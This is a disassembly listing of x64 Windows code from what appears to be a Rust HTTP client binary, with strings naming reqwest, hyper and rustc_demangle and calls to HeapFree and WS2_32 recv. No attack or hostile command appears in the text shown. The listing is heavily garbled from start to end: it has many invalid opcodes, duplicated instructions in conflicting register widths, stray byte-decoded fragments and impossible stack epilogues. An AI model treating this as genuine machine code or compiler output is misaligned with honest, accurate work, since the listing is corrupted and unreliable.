and ecx, dword [rdi]
test dword [rbx], edx
add eax, dword [rax]
invalid
cmp r15, rbp
je 0x14012472f
invalid
mov rax, qword [rbx]
add rax, r15
add ecx, dword [rcx + rax - 8]
mov rcx, rbp
jmp 0x1890b6f82
sub rcx, r15
mov qword [rsp + 0x40], rax
and al, 0x40
mov qword [rsp + 0x48], rcx
and al, 0x48
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], rdi
and al, 0x58
mov rcx, r14
int1
mov rdx, r12
mov edx, esp
call case.0x140107e15.136
test rax, rax
je 0x140124750
test bh, ch
add byte [rax], al
invalid
test bh, ch
out dx, eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov byte [rcx - 0x77], 0xf5
mov r13d, esi
mov rsi, rax
mov r13d, esi
and r13d, 3
lea rcx, [0x14020ad60]
or eax, 0xe66ee
or eax, 0xe66ee
invalid
movsxd rax, dword [rcx + r13*4]
add al, 0xa9
add rax, rcx
jmp rax
enter 0xffffffffffffe0ff, 0xf
mov dh, 0x46
adc byte [rbx + riz], bh
movzx eax, byte [rsi + 0x10]
cmp al, 0x23
je 0x1401246b4
jmp 0x140124933
cmp byte [rsi + 0xf], 0x23
je 0x1401246be
jmp 0x140124933
invalid
add byte [rax], r8b
mov rcx, rsi
shr rcx, 0x20
call fcn.14012f020
je case.0x1400e4b0f.365
add byte [rax], al
cmp al, 0x23
jne 0x140124933
cmp r13d, 1
jne case.0x140122c19.34
invalid
dec dword [rax - 0x77]
insb byte [rdi], dx
and al, 0x30
mov qword [rsp + 0x30], rbp
mov dword [rsp + 0x30], ebp
mov rbp, r14
mov r14, rbx
mov rbx, rdi
sti
sti
mov rdi, r12
mov edi, esp
mov r13, qword [rsi - 1]
mov r12, qword [rsi + 7]
mov rcx, r13
call qword [r12]
call qword [rsp]
call qword [rsp]
adc al, 0x24
and al, 0x49
cmp dword [rsp + 8], 0
cmp qword [r12 + 8], 0
je 0x140124704
cmp qword [r12 + 0x10], 0x11
jb 0x1401246f2
mov r13, qword [r13 - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r13
mov eax, ebp
invalid
mov eax, ebp
call qword [sym.imp.KERNEL32.dll_HeapFree]
add byte [rax - 1], cl
invalid
dec rsi
mov rcx, qword [0x140215360]
or eax, 0xf0c52
or eax, 0xf0c52
invalid
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
adc eax, 0x4390f
adc eax, 0x4390f
add al, 0
mov r12, rdi
mov rdi, rbx
mov edi, ebx
mov rbx, r14
mov r14, rbp
out dx, al
out dx, al
mov rbp, qword [rsp + 0x30]
and al, 0x30
jmp case.0x140122c19.34
invalid
invalid
test dword [rbx], eax
add byte [rax - 0x75], cl
imul ecx, dword [rax], 0x4c
mov r15, qword [rbx + 0x10]
mov r15, qword [rbx + 0x10]
jmp 0x140124629
mov rsi, qword [rsp + 0x50]
and al, 0x50
push rax
test rsi, rsi
je 0x140124979
test byte [rbx], bl
add al, byte [rax]
add byte [rax], al
test byte [rdi], 0x84
sbb eax, dword [rdx]
test byte [rbx], bl
add al, byte [rax]
add byte [rax], al
mov rdx, qword [rsp + 0x58]
add byte [rax], al
mov rdx, qword [rsp + 0x58]
mov rcx, rdx
mov ecx, edx
sub rcx, rsi
sub ecx, esi
jb 0x1401249cf
mov rax, qword [rsp + 0x48]
cmp rdx, rax
ja case.0x140109b29.135
add byte [rax - 0x77], cl
and al, 0x30
mov qword [rsp + 0x30], rcx
add rsi, r15
mov qword [rbx + 0x10], rsi
cmp rbp, qword [rsp + 0x28]
insb byte [rdi], dx
and al, 0x28
insb byte [rdi], dx
and al, 0x28
jne 0x1401248d0
cmp rsi, rbp
lea rdi, [rsp + 0x60]
jne 0x1401248d0
movaps xmmword [rsp + 0x80], xmm6
movaps xmmword [rsp + 0x70], xmm6
and al, 0x70
mov ah, 0x24
add byte [rax], 0
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x70], esi
and al, 0x70
mov rbp, qword [r14]
test rbp, rbp
je 0x14012495f
movsb byte [rdi], byte [rsi]
add dword [rax], eax
invalid
movsb byte [rdi], byte [rsi]
add dword [rax], eax
add byte [rbp + 0x31], al
xor r13d, r13d
in eax, dx
jmp 0x1401247c9
add byte [rax], al
cmp r13, 0x21
jae 0x1401249a3
mov r9d, 0x20
sub r9, r13
jmp 0x16c16d52e
add r8, 0x70
mov rax, qword [r14 + 8]
mov rcx, rdi
mov rdx, rbp
call qword [rax + 0x18]
cmp qword [rsp + 0x60], 0
mov rsi, qword [rsp + 0x68]
and al, 0x68
jne 0x140124820
add r13, rsi
cmp r13, 0x20
je 0x14012492b
nop dword [rax]
mov r15d, esi
and r15d, 3
lea rcx, [0x14020ad70]
movsxd rax, dword [rcx + r15*4]
add byte [rdx + 0x63], cl
add al, 0xb9
add rax, rcx
jmp rax
movzx eax, byte [rsi + 0x10]
jmp 0x140124854
mov dh, 0x46
adc bl, ch
invalid
cmp byte [rsi + 0xf], 0x23
je 0x140124862
jmp 0x140124990
mov rcx, rsi
shr rcx, 0x20
call fcn.14012f020
cmp al, 0x23
jne 0x140124990
test dword [rcx + rax], esi
add byte [rax], al
cmp r15d, 1
jne 0x1401248bb
mov r13, qword [rsi - 1]
mov r15, qword [rsi + 7]
mov rcx, r13
call qword [r15]
cmp qword [r15 + 8], 0
je 0x140124894
cmp qword [r15 + 0x10], 0x11
jb 0x140124882
add al, 0x4d
mov ebp, dword [rbp - 8]
mov r13, qword [r13 - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r13
call 0x177a65e91
add al, 0
call 0x177a65e91
add al, 0
dec rsi
mov rcx, qword [0x140215360]
or cl, byte [rdi]
add byte [rcx], dh
ror byte [rcx - 0x77], cl
invalid
call qword [sym.imp.KERNEL32.dll_HeapFree]
adc eax, 0x4377f
or cl, byte [rdi]
add byte [rcx], dh
ror byte [rcx - 0x77], cl
invalid
adc eax, 0x4377f
jmp 0x1401248bb
mov rax, rsi
shr rax, 0x20
cmp eax, 0x23
clc
and ecx, dword [rdi]
test ebp, edx
invalid
add byte [rax], al
invalid
invalid
invalid
test rbp, rbp
test ebp, ebp
lea rdi, [rsp + 0x60]
jne 0x1401247bb
jmp 0x14012495f
add byte [rax], al
nop
mov rdi, qword [rsp + 0x30]
jmp 0x140124602
invalid
add byte [rax], r8b
test r13, r13
je 0x14012495f
cmp r13, 0x21
jae case.0x14010e86a.108
add byte [rax], al
add byte [rax - 0x77], cl
invalid
mov rcx, rbx
mov rdx, qword [rsp + 0x28]
mov r8, r13
call fcn.14015cc80
add dword [rbx], 0
add eax, dword [rax]
mov rbp, qword [rbx + 8]
mov rsi, qword [rbx + 0x10]
mov esi, dword [rbx + 0x10]
mov esi, dword [rbx + 0x10]
mov rcx, qword [rbx]
add rcx, rsi
int1
lea rdx, [rsp + 0x70]
mov r8, r13
call 0x143949b01
add byte [rcx + rax - 0x12], cl
out dx, al
call 0x143949b01
add byte [rcx + rax - 0x12], cl
out dx, al
invalid
out dx, al
mov qword [rbx + 0x10], rsi
mov rdi, qword [rsp + 0x30]
jmp 0x140124602
xlatb
cld
invalid
invalid
xlatb
cld
invalid
mov rax, qword [rsp + 0x20]
mov eax, dword [rsp + 0x20]
mov qword [rax + 8], rsi
mov qword [rax], 1
movaps xmm6, xmmword [rsp + 0x90]
add rsp, 0xa8
add esp, 0xa8
nop
add byte [rax], al
add byte [rax - 0x7f], cl
invalid
invalid
add esp, 0xa8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop r14
pop r15
ret
mov rax, qword [rsp + 0x28]
sub rax, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x20]
and al, 0x20
and al, 0x20
and byte [rax - 0x77], cl
or byte [r9], sil
ror byte [rax - 0x77], 1
mov qword [rcx], rax
mov qword [rcx + 8], rax
xor eax, eax
mov qword [rcx], rax
jmp 0x140124943
sub r15, qword [rsp + 0x38]
mov rax, qword [rsp + 0x20]
and al, 0x20
mov qword [rax + 8], r15
mov dword [rax + 8], edi
mov dword [rax + 8], edi
mov qword [rax], 0
jmp 0x140124943
add byte [rax], al
add byte [rax], al
add bl, ch
mov bl, 0x48
mov ecx, dword [rsp + 0x20]
invalid
mov rcx, qword [rsp + 0x20]
and byte [rax - 0x77], cl
mov qword [rcx + 8], rsi
jno 0x1401249a1
mov eax, 1
mov qword [rcx], rax
jmp 0x140124943
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.22_src_blockingmultipart.rs
or r8d, dword [rax]
mov edx, 0x20
mov rcx, r13
add byte [rax], al
add byte [rcx + rcx*4 - 0x17], cl
call fcn.140160e60
ud2
invalid
call fcn.140160f40
add byte [rdi], cl
or ecx, dword [rbp + rcx*4 + 5]
pop rdx
dec dword [rdx]
add byte [rax - 0x77], cl
int1
ud2
lea r8, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_std_srcio_readbuf.rs
mov rcx, rsi
call fcn.140161190
ud2
lea r8, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_std_srcio_readbuf.rs
mov rcx, rdx
mov ecx, edx
mov ecx, edx
mov rdx, rax
call fcn.140160f40
ud2
invalid
int3
test byte [rdx - 0x10000000], bl
add byte [rax], al
add al, dh
dec qword [rax + 0x1d0]
add byte [rcx - 0x75], cl
xchg byte [rax], dl
add dword [rax], eax
add byte [rdi], cl
invalid
cmpxchg qword [r14 + 0x110], rcx
sal byte [rbp + 0x2a], 0x49
mov eax, dword [rsi + 0x100]
xchg byte [rax], al
add dword [rax], eax
invalid
add byte [rcx], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add al, dh
dec qword [rbx]
invalid
invalid
nop
mov dh, 0x86
cdq
add dword [rax], eax
add byte [rax - 0x7d], cl
cmp eax, 5
ja case.0x140124b67.1
lea rcx, [rsi + 0x130]
jmp 0x140124bfe
jle 0x140124bb2
add byte [rbp + 0x74], dh
jmp 0x140124c24
mov r8, qword [rsi + 0x1c0]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp byte [rsi + 0x198], 0
je case.0x140124b67.3
invalid
lea rcx, [rsi + 0x188]
mov rax, qword [rsi + 0x170]
mov rdx, qword [rsi + 0x178]
mov edx, dword [rsi + 0x178]
mov r8, qword [rsi + 0x180]
call qword [rax + reloc.WS2_32.dll_recv]
invalid
lea rcx, [rsi + 0x150]
mov byte [rsi + 0x198], 0
call fcn.1400aca70
mov rsi, qword [rsi + 0x128]
cmp qword [rsi + 0x18], 0
je 0x140124c24
mov r8, qword [rsi + 0x10]
mov rcx, qword [0x140215360]
xor edx, edx
sar bh, cl
adc eax, 0x43404
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
add rsp, 0x20
pop rsi
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
nop word cs:[rax + rax]
mov rax, qword [rdi + 8]
sub rax, r14
cmp rax, rbx
jb 0x140124ccb
mov rcx, qword [rdi]
add rcx, r14
mov rdx, r15
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
add r14, rbx
mov qword [rdi + 0x10], r14
mov dword [rdi + 0x10], esi
mov qword [rsp + 0x30], rbx
mov rax, qword [rsi + 0x10]
cmp rax, rbx
jb 0x140124d1f
mov r15, qword [rsi + 8]
add r15, rbx
or byte [rcx + 1], cl
fisttp word [rax + 0x29]
invalid
invalid
sub rax, rbx
mov qword [rsi + 0x10], rax
mov qword [rsi + 8], r15
mov rbx, rax
jne 0x140124c80
fmul dword [rax - 0x77]
adc byte [rcx + r9*4 + 0x7e], r9b
or byte [rax - 0x77], cl
ret
jmp 0x140124ce3
mov rcx, rdi
stc
mov rdx, r14
mov r8, rbx
call fcn.14015cc80
cmpsd dword [rsi], dword [rdi]
jg case.0x14010324d.403
add byte [rbx + rcx*4 + 0x77], cl
invalid
cmpsd dword [rsi], dword [rdi]
jg case.0x14010324d.403
add byte [rbx + rcx*4 + 0x77], cl
adc bl, ch
lodsd eax, dword [rsi]
ja 0x140124ced
jmp 0x140124c8c
mov r15, qword [rsi + 8]
mov rax, qword [rsi]
mov rax, qword [rax + 0x10]
mov eax, dword [rax + 0x10]
invalid
mov eax, dword [rax + 0x10]
add rsi, 0x18
mov rcx, rsi
sbb byte [rax - 0x77], cl
int1
mov rdx, r15
xor r8d, r8d
xor eax, eax
xor eax, eax
add rsp, 0x90
pop rbx
pop rdi
pop rsi
pop r14
pop r15
invalid
jmp rax
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x30]
and al, 0x30
and al, 0x30
mov qword [rsp + 0x40], rax
lea rax, [0x140144ae0]
lea eax, [0x140144ae0]
stosd dword [rdi], eax
std
add dword [rax], eax
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x38]
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x58], rax
and al, 0x58
and al, 0x58
mov qword [rsp + 0x20], 2
lea rdx, str.cannot_advance_past__remaining_:___
or eax, dword [rax]
or eax, dword [rax]
lea rsi, [rsp + 0x60]
lea r9, [rsp + 0x40]
mov r8d, 2
add byte [rax], al
invalid
add byte [rax], al
mov rcx, rsi
call fcn.140144a40
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_src_body_body.rs
mov rcx, rsi
mov ecx, esi
mov ecx, esi
call fcn.140160e20
ud2
sub esp, 0x48
mov r15, qword [rdx + 0x18]
mov rsi, qword [rdx + 0x10]
adc byte [rbp + 0x31], al
in eax, dx
adc byte [rbp + 0x31], al
in eax, dx
mov rax, r15
sub rax, rsi
jb fcn.140125103
mov rdi, rdx
mov rdx, qword [rdx + 8]
mov qword [rsp + 0x40], rdx
or byte [rax - 0x77], cl
push rsp
and al, 0x40
cmp r15, rdx
ja fcn.140125103
mov rdx, qword [rdi]
mov edx, dword [rdi]
mov qword [rsp + 0x30], rdx
lea rbx, [rdx + rsi]
xor byte [rax - 0x73], cl
sbb al, 0x32
lea rdx, [rdi + 0x28]
mov qword [rsp + 0x38], rdx
mov dword [rsp + 0x38], edx
mov dword [rsp + 0x38], edx
mov r9, qword [rdi + 0x20]
cmp r9, 4
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], r9
jbe 0x140124f7f
xor r13d, r13d
invalid
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax - 0x75], cl
and al, 0x30
mov rax, qword [rsp + 0x30]
lea rbx, [rax + rsi]
mov rax, r15
sub rax, rsi
jb fcn.140125103
add byte [rax], al
add byte [rax], al
adc byte [rbx + 0x3a], dh
test rax, rax
je fcn.1401250fc
xor r14d, r14d
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
cmp byte [rbx + r14], r10b
je 0x140124f46
test ah, bl
add byte [rax], al
invalid
inc r14
cmp rax, r14
jne 0x140124e60
jmp fcn.1401250fc
cmovae ebx, eax
fmul dword [rbp - 0x7b]
invalid
test ebx, ebx
test byte [rcx + 0x49000000], ah
inc esi
add byte [rax], al
add byte [rcx - 1], cl
invalid
lea r14, [rax - 0x10]
xor r11d, r11d
mov rbp, r10
movabs rcx, 0x101010101010101
imul rbp, rcx
nop word cs:[rax + rax]
mov ebp, edx
mov r12, qword [rbx + r11]
xor r12, rbp
mov r9, r12
not r9
add r12, rdx
invalid
and r9, r8
test r9, r12
loope 0x140124f6c
invalid
loope 0x140124f6c
and cl, byte [rsi - 0x75]
sbb r9, qword [rax]
mov r9, qword [rbx + r11 + 8]
xor r9, rbp
mov r12, r9
not r12
invalid
add r9, rdx
add ecx, edx
and r12, r8
test r12, r9
jne 0x140124f1a
add ecx, edx
add r11, 0x10
cmp r11, r14
jbe 0x140124ee0
jbe 0x140124ee0
invalid
sub rax, r11
mov rcx, qword [rsp + 0x28]
je fcn.1401250fc
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rcx + rax - 0x25], cl
add ebx, ebx
add rbx, r11
xor r14d, r14d
mul byte [rsi - 0x70]
add ebx, ebx
mul byte [rsi - 0x70]
cmp byte [rbx + r14], r10b
je 0x140124f43
inc r14
cmp rax, r14
jne 0x140124f30
invalid
inc esi
bnd jmp fcn.1401250fc
jmp fcn.1401250fc
add r14, r11
mov r9, qword [rsp + 0x20]
and al, 0x20
add rsi, r14
inc rsi
mov qword [rdi + 0x10], rsi
cmp rsi, r9
jb 0x140124e20
invalid
cmp rsi, qword [rsp + 0x40]
ja 0x140124e20
invalid
invalid
invalid
lea r8, [0x140205438]
enter 0xe04, 0
mov edx, 4
mov rcx, r9
leave
call fcn.140160f40
ret
invalid
add eax, dword [rax]
ret
invalid
invalid
mov ebp, 0x80808080
add byte [rax - 0x74b77f80], 0x54
invalid
invalid
or byte [rax - 0x75], 0x54
invalid
push rsp
add byte [rax + 0x548b4880], 0x24
cmp byte [rdx + 0xf], al
mov dh, 0x54
or bh, bh
mov edx, dword [rsp + 0x38]
and al, 0x38
add dword [rax], eax
add byte [rax], al
add byte [rbp + rcx*4 + 0x43], cl
invalid
ror byte [rbp - 0x7b], 0xc0
je 0x14012501d
xor r9d, r9d
nop dword [rax]
invalid
invalid
invalid
invalid
cmp byte [rbx + r9], dl
je 0x1401250a3
invalid
or ecx, dword [rdi]
test byte [rcx + 0x49000000], bl
add byte [rcx - 1], cl
invalid
add byte [rcx - 1], cl
ror dword [rbp + 0x39], 0xc8
cmp r8, r9
inc r9
cmp r8, r9
jne 0x140125000
lea r9, [rax - 0x10]
lea ecx, [rax - 0x10]
cmp r8, r9
jbe 0x140125024
jmp 0x14012507a
lea r9, [rax - 0x10]
xor r8d, r8d
ror byte [rcx - 0x77], 0xd2
mov r10, rdx
movabs rcx, 0x101010101010101
imul r10, rcx
nop word cs:[rax + rax]
add byte [rax], al
invalid
mov edx, edx
add byte [rax], al
add byte [rsi - 0x75], cl
sbb al, 3
invalid
mov r11, qword [rbx + r8]
xor r11, r10
mov r12, r11
not r12
add r11, r14
and r12, rbp
and esp, ebp
and esp, ebp
test esp, ebx
rcl byte [rax], 0x4d
cmp eax, ecx
sub rax, r8
js 0x1401250d1
add ebx, eax
xor r9d, r9d
leave
nop word [rax + rax]
add byte [rax], r8b
cmp byte [rbx + r9], dl
je 0x1401250a0
inc r9
cmp rax, r9
jne 0x140125090
jmp fcn.1401250fc
add r9, r8
hlt
and al, 0x30
enter 0xffffffffffffa0e8, 0x7a
add eax, dword [rax]
sal byte [rdi + rsi + 0x48], 0x8b
and al, 0x30
and al, 0x30
and al, 0x30
sub eax, esi
pop rbp
mov ebp, 1
movabs al, byte [0x8b48ce8948000000]
or dword [rax - 0x7b], ecx
test rcx, rcx
mov rsi, rcx
mov rcx, qword [rcx]
test rcx, rcx
je 0x1401255ec
mov eax, dword [rsi + 0x18]
inc eax
mov dword [rsi + 0x18], eax
sbb byte [0x14012534e], bh
jae 0x1401251d5
or byte [rax - 0x75], r9b
adc byte [rcx + r15 - 0x40], r9b
jae case.0x140125196.68
mov ebp, edx
movzx ebx, byte [rcx + rax]
mov dh, 0x1c
add dword [rax - 0x73], ecx
push rax
add dword [rax - 0x77], ecx
push rsi
adc byte [rbp + rcx*4 + 0x4b], al
mov esi, 0x17f98341
invalid
invalid
add dword [rax - 0x73], ecx
push rax
add dword [rax - 0x77], ecx
push rsi
adc byte [rbp + rcx*4 + 0x4b], al
mov esi, 0x17f98341
invalid
ja case.0x140125196.68
lea r10, [0x14020ad98]
movsxd r9, dword [r10 + r9*4]
add r9, r10
jmp r9
invalid
loope 0x1401251e6
cmp edx, eax
jae 0x140125632
ret 0x830f
cmp byte [rcx + rdx], 0x73
jne 0x140125632
lea r9, [rax + 2]
add cl, byte [rcx + rcx*4 + 0x4e]
adc byte [rbp + 0x39], cl
mov qword [rsi + 0x10], r9
cmp r9, r8
jae 0x140125437
jp 0x1401251bd
add byte [rax], al
ror dword [rdi], 0x83
jp 0x1401251bd
add byte [rax], al
cmp byte [rcx + r9], 0x5f
jne 0x140125437
outsd dx, dword [rsi]
add al, byte [rax]
invalid
outsd dx, dword [rsi]
add al, byte [rax]
add byte [rax - 0x7d], cl
add eax, 3
invalid
add rax, 3
mov qword [rsi + 0x10], rax
mov dword [rsi + 0x10], eax
mov dword [rsi + 0x10], eax
jmp 0x140125632
add byte [rax], al
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1401251fb
or eax, dword [rax]
mov r8d, 0x19
mov eax, 0x19
add byte [rax], al
call fcn.140059ad0
mov dil, 1
test al, al
jne fcn.140125717
mov qword [rsi], 0
mov byte [rsi + 8], 1
or byte [rcx], al
or byte [rcx], al
jmp fcn.140125715
bnd call fcn.140125a40
cmp byte [rsp + 0x30], 0
je 0x1401254a1
add byte [rdi], cl
mov dh, 0x5c
and al, 0x31
movzx ebx, byte [rsp + 0x31]
mov rcx, qword [rsi + 0x20]
test rcx, rcx
test ecx, ecx
je 0x140125272
test bl, bl
lea rax, str.invalid_syntaxrecursion_limit_reached
push rcx
or eax, dword [rax]
fisttp dword [rax - 0x73]
add eax, 0xb51cc
push rcx
or eax, dword [rax]
push rcx
or eax, dword [rax]
lea rdx, [0x1401da428]
cmove rdx, rax
movzx eax, bl
ret
lea r8, [rax + rax*8]
add r8, 0x10
call fcn.140059ad0
inc dword [rax - 0x49]
add dword [rax + rax*8 + 0x4a5850f], eax
add al, 0
invalid
mov qword [rsi], 0
mov byte [rsi + 8], bl
jmp fcn.140125715
mov edx, ebp
call case.0x14010e86a.126
mov dil, 1
test al, al
jne fcn.140125717
invalid
test bpl, bpl
je 0x1401252be
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1401252be
lea rdx, [0x1401d9ff8]
mov r8d, 2
call fcn.140059ad0
test al, al
jne fcn.140125717
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
test rcx, rcx
je 0x1401252e1
lea rdx, [0x1401da0b3]
mov r8d, 1
mov eax, 1
mov eax, 1
call fcn.140059ad0
test al, al
jne fcn.140125717
add byte [rax], al
invalid
test dword [rdi - 0xd], 0xfc084ff
test dword [rsi], esi
add al, 0
invalid
add byte [rax - 0x77], cl
int1
mov rcx, rsi
call case.0x140107e15.197
test rax, rax
jne fcn.140125717
lea rcx, [rsp + 0x30]
mov rdx, rsi
call fcn.140125a40
cmp byte [rsp + 0x30], 0
jne 0x140125235
cmp qword [rsi], 0
je 0x1401255ec
mov r14, qword [rsp + 0x38]
lea rcx, [rsp + 0x30]
mov rdx, rsi
add byte [rax], al
adc dword [rax], eax
jne 0x140125727
mov rax, qword [rsp + 0x58]
or rax, qword [rsp + 0x68]
je 0x1401256dd
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1401256dd
add byte [rax], al
lea rdx, [0x1401d9ff8]
mov r8d, 2
call fcn.140059ad0
adc eax, dword [rdi - 0xd]
inc dword [rax + rax*8 + 0x352850f]
add byte [rax], al
adc eax, dword [rdi - 0xd]
inc dword [rax + rax*8 + 0x352850f]
add byte [rax], al
mov rdx, qword [rsi + 0x20]
test rdx, rdx
je 0x1401256dd
lea rcx, [rsp + 0x50]
call fcn.140125d40
jmp 0x1401256d9
and cl, ch
push 2
add byte [rax], al
shr ebx, 8
and bl, 1
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x140125428
test bl, bl
lea rax, str.invalid_syntaxrecursion_limit_reached
lea rdx, [0x1401da428]
cmove rdx, rax
movzx eax, bl
lea r8, [rax + rax*8]
add r8, 0x10
call fcn.140059ad0
mov dil, 1
test al, al
jne fcn.140125717
mov qword [rsi], 0
mov byte [rsi + 8], bl
jmp fcn.140125715
xor eax, eax
mov r10d, 0x3e
cmp r9, r8
jae case.0x140125196.68
invalid
add al, byte [rax]
invalid
movabs al, byte [0x914b60f42000002]
cmp dl, 0x5f
je 0x140125618
add byte [rax], al
lea r11d, [rdx - 0x30]
cmp r11b, 0xa
jb 0x140125483
cmp r11b, 0x1a
jae 0x14012546f
add dl, 0xa9
jmp 0x140125480
lea r11d, [rdx - 0x41]
cmp r11b, 0x1a
cmp bl, 0x1a
cmp bl, 0x1a
jae case.0x140125196.68
add dl, 0xe3
mov r11d, edx
inc r9
mov qword [rsi + 0x10], r9
adc byte [rcx - 9], r9b
loop 0x14012549d
adc byte [rbp + 2], 0
invalid
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x78], rax
cmp qword [rsi], 0
je 0x14012557e
lea rcx, [rsp + 0x30]
mov rdx, rsi
call fcn.140125b10
add byte [rax], al
cmp qword [rsp + 0x30], 0
je 0x1401255a4
adc byte [rsp + 0x40], cl
movaps xmmword [rsp + 0x90], xmm1
movaps xmmword [rsp + 0x80], xmm0
mov rdx, qword [rsi + 0x20]
test rdx, rdx
je 0x1401256dd
test al, ch
add dword [rax], eax
invalid
test al, ch
add dword [rax], eax
add byte [rax - 0x73], cl
mov word [rax + rax*4], fs
add byte [rax], al
add al, ch
or byte ds:[rax], al
add byte [rax - 0x49], al
add dword [rax + rax*8 + 0x20a850f], eax
add byte [rax], al
lea rcx, [rsp + 0x80]
call fcn.140125d40
mov dil, 1
test al, al
jne fcn.140125717
mov rax, qword [rsi + 0x20]
test rax, rax
je 0x1401256dd
test byte [rax + 0x34], 4
jne 0x1401256dd
invalid
add dword [rax], eax
invalid
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x140204aa0]
mov r8d, 1
mov eax, 1
call qword [rax + 0x18]
test al, al
jne 0x140125576
mov dil, 1
jmp fcn.140125717
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je fcn.140125715
lea edx, str._for_____::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 1
call fcn.140059ad0
mov edi, eax
jmp fcn.140125717
jae 0x1401255a3
add byte [rax], al
jae 0x1401255a3
add byte [rax], al
add byte [rdi], cl
mov dh, 0x5c
and al, 0x38
movzx ebx, byte [rsp + 0x38]
mov rcx, qword [rsi + 0x20]
test rcx, rcx
jne 0x140125243
jmp 0x140125272
jne fcn.140125717
cmp qword [rsi], 0
jne 0x14012532a
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je fcn.140125715
inc r9
mov qword [rsi + 0x10], r9
inc rax
je case.0x140125196.68
mov rdi, qword [rsi + 0x20]
mov qword [rsi + 0x20], 0
mov rcx, rsi
xor edx, edx
call case.0x14010e86a.126
test al, al
jne 0x14012585a
mov qword [rsi + 0x20], rdi
test rdi, rdi
je 0x140125679
mov rcx, rsi
call case.0x140105a85.192
mov dil, 1
test al, al
jne fcn.140125717
cmp bl, 0x4d
je 0x1401256be
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je case.0x140124679.16
lea rdx, [0x1401da479]
mov r8d, 4
call fcn.140059ad0
test al, al
jne fcn.140125717
mov rcx, rsi
xor edx, edx
call case.0x14010e86a.126
test al, al
jne fcn.140125717
mov rcx, qword [rsi + 0x20]
test rcx, rcx
and byte [rax - 0x7b], r9b
leave
je 0x1401256dd
lea rdx, [0x1401da0b2]
mov r8d, 1
call fcn.140059ad0
test al, al
jne fcn.140125717
cmp qword [rsi], 0
je fcn.140125715
dec dword [rsi + 0x18]
jmp fcn.140125715
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14012570a
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x140125746
lea rdx, [0x1401da46a]
mov r8d, 3
call fcn.140059ad0
test al, al
jne fcn.140125717
cmp ebx, 0x43
je 0x140125768
cmp ebx, 0x53
jne 0x140125785
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1401257a4
lea rdx, [0x1401da474]
mov r8d, 4
jmp 0x14012577e
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1401257a4
lea rdx, [0x1401da46d]
mov r8d, 7
call fcn.140059ad0
jmp 0x14012579c
mov rdx, qword [rsi + 0x20]
mov dword [rsp + 0x30], ebx
test rdx, rdx
je 0x1401257a4
lea rcx, [rsp + 0x30]
call fcn.14005e600
test al, al
jne fcn.140125717
mov rax, qword [rsp + 0x58]
or rax, qword [rsp + 0x68]
mov rcx, qword [rsi + 0x20]
je 0x1401257fa
test rcx, rcx
je 0x1401256dd
lea rdx, [0x140204aa2]
mov r8d, 1
call fcn.140059ad0
test al, al
jne fcn.140125717
mov rdx, qword [rsi + 0x20]
test rdx, rdx
je 0x1401256dd
lea rcx, [rsp + 0x50]
call fcn.140125d40
test al, al
jne fcn.140125717
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1401256dd
lea rdx, [0x1401da478]
mov r8d, 1
call fcn.140059ad0
test al, al
jne fcn.140125717
mov rdx, qword [rsi + 0x20]
mov qword [rsp + 0x30], r14
test rdx, rdx
je 0x1401256dd
lea rcx, [rsp + 0x30]
call fcn.140058ea0
test al, al
jne fcn.140125717
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1401256dd
lea rdx, [0x1401dc0ab]
jmp 0x1401256ce
lea rax, str.C:Users_runneradmin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rustc_demangle_0.1.23_src_v0.rs
mov qword [rsp + 0x20], rax
lea rcx, str._fmt::Error_s_should_be_impossible_without_a__fmt::Formatter_
lea r9, [0x1401d9e50]
lea r8, [rsp + 0x30]
mov edx, 0x3d
call fcn.140161200
ud2
add rsp, 0x298
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp rax
and al, 0xff
mov qword [rsp + 0x80], rax
lea rax, [r12*4 + 4]
mov qword [rsp + 0x30], rax
lea rbp, [rsp + r12*4]
add rbp, 0x98
